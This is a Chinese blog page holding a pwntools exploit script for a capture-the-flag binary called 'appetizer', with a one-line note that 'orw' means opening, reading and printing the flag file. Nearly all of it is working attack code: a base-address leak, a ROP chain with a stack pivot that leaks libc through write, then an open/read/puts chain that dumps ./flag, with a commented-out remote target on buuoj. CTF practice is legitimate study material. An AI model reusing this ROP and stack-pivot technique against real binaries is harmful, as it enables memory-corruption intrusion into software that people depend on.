赞
踩
注:orw:在这里指代程序开启了orw,采用open打开flag再写入内存,最后输出的利用
from pwn import * context.update(os='linux',arch='amd64',log_level='debug') #c=remote(b'node4.buuoj.cn',29430) c=process(b'./appetizer') libc=ELF(b'./libs/2.31-0ubuntu9_amd64/libc-2.31.so') elf=ELF(b'./appetizer') gdb.attach(c,''' ''') c.sendafter(b'identity\n',b'aaNameless') c.recvuntil(b'are:') addr_base=int(c.recv(14),16)-0x4050 pop_rdi=addr_base+0x14d3 pop_rsi_xxx=addr_base+0x14d1 leave_ret=addr_base+0x12d8 ret=addr_base+0x101a write_got=elf.got['write'] write_plt=elf.plt['write'] end=addr_base+0x4050 #length=0xe0 py=p64(pop_rdi)+p64(1)+p64(pop_rsi_xxx)+p64(addr_base+write_got)+p64(0)+p64(addr_base+write_plt)+p64(ret)*21+p64(addr_base+0x1428) #start_length=0xe0 py+=p64(end-8)+p64(leave_ret)+p64(0) #start_length=0xf8 py+=b'./flag\x00\x00' c.sendafter(b'on it\n',py) py=p64(end-8)+p64(leave_ret) c.sendafter(b'wish:\n',py) libc_base=u64(c.recv(6).ljust(8,b'\x00'))-libc.sym['write'] log.success("libc_base="+hex(libc_base)) pop_rsi=libc_base+0x27529 pop_rdx_xxx=libc_base+0x11c1e1 open_addr=libc_base+libc.sym['open'] read_addr=libc_base+libc.sym['read'] puts_addr=libc_base+libc.sym['puts'] orw=p64(pop_rdi)+p64(end+0xf8)+p64(pop_rsi)+p64(0)+p64(open_addr) orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(end+0x100)+p64(pop_rdx_xxx)+p64(0x40)+p64(0)+p64(read_addr) orw+=p64(pop_rdi)+p64(end+0x100)+p64(puts_addr) c.send(orw) c.send(b'a') c.interactive()
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。